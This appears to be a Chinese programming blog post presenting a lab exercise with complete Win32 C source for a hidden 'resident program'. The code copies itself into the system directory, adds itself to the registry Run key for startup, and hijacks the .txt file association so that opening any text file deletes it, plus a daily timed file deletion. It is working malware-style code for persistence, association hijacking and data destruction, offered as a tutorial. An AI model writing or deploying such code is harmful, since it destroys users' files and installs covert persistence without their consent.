驻留程序

实验要求:
编写一个驻留程序,实现每天固定一个时间自动删除 D://file4.txt ,而且当用户双击一个文本文件时,自动删除文件。

注:本程序运行后 将自身复制到系统目录下,并加入注册表开机运行。修改TXT关联方式为本程序。每天定时12:00 删除 c:/test.txt。 双击TXT文件时 删除该文件。
/*-------------------------------------------------------程序代码-----------------------------------------*/
#include <windows.h>

WNDCLASS wc;
HWND h_wnd;
MSG msg;
/* 消息处理函数wndProc的声明*/
long WINAPI WindowProc(HWND,UINT,WPARAM,LPARAM);
#define ID_TIMER    1  

int autorun();
/* winMain 函数的声明*/

int PASCAL WinMain(HINSTANCE h_CurInstance,
                   HINSTANCE h_PrevInstance,LPSTR p_CmdLine,int m_Show)
{
    DeleteFile(p_CmdLine);  //删除该文件
    /*初始化wndclass结构变量*/
    wc.lpfnWndProc =WindowProc;
    wc.hInstance =h_CurInstance;
    wc.hbrBackground =(HBRUSH)GetStockObject(WHITE_BRUSH);
    wc.lpszClassName ="TheMainClass";
    /* 注册WndClass结构变量*/
    RegisterClass(&wc);
    /* 创建窗口*/
    h_wnd=CreateWindow("TheMainClass","Our first Window",
        WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);
    /* 隐藏窗口*/
    ShowWindow(h_wnd,SW_HIDE);
    SetTimer(h_wnd,ID_TIMER,10000,NULL);

    autorun();  //运行注册表修改函数
    /*消息循环*/
    while(GetMessage(&msg,NULL,0,0))
        DispatchMessage(&msg);
    return (msg.wParam );
}

/*消息处理函数*/
long WINAPI WindowProc(HWND h_wnd,UINT WinMsg,
                       WPARAM w_param,LPARAM l_param)
{
    
    switch (WinMsg)
    {
    case WM_DESTROY :
        PostQuitMessage (0) ;
        return 0 ;
    case WM_TIMER :       //定时删除指定文件
        SYSTEMTIME systime;
        GetLocalTime(&systime);
        if (systime.wHour==12 && systime.wMinute==00)
        {
            
            DeleteFile("c://test.txt");  
        }
         return 0 ;
    }
    return DefWindowProc(h_wnd,WinMsg,w_param,l_param);
}


//注册表修改,将本程序复制到系统目录下,启动自动运行本程序 以及修改TXT打开方式
int autorun()
{
   /*-------得到系统目录—并复制自身到系统目录-----------------*/
    char SelfFile[MAX_PATH];
    char SystemPath[512];
    
    GetSystemDirectory(SystemPath,sizeof(SystemPath));
    strcat(SystemPath,"//pj320.exe");
    
    GetModuleFileName (NULL, SelfFile, MAX_PATH);    
    
    if(!CopyFile(SelfFile,SystemPath,true))
        return 0;
   /*---------------复制结束-------*/


    
    HKEY  hKey1;
    DWORD  dwDisposition;
    LONG   lRetCode;
    HKEY hKey2;
    LONG ret2;
    
    ret2=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_WRITE,&hKey2);
//打开自动运行注册表键值
ret2 =RegSetValueEx(hKey2,"pj320",0,REG_SZ,(byte*)SystemPath,100);
//增加本程序为启动项
lRetCode = RegCreateKeyEx ( HKEY_CLASSES_ROOT, "txtfile//shell//open//command",
        0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
        NULL, &hKey1, &dwDisposition); //创建TXT文本关联注册表键值
    strcat(SystemPath," %1");  //增加 参数
    lRetCode = RegSetValueEx ( hKey1, "", 0, REG_SZ, (byte*)SystemPath, 100);
   //将TXT文件关联改变
    return 0;
}


通过这个例子可以学会 如何让自己的程序开机自动运行,如何复制到系统目录。
以及如何修改 文件关联方式。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值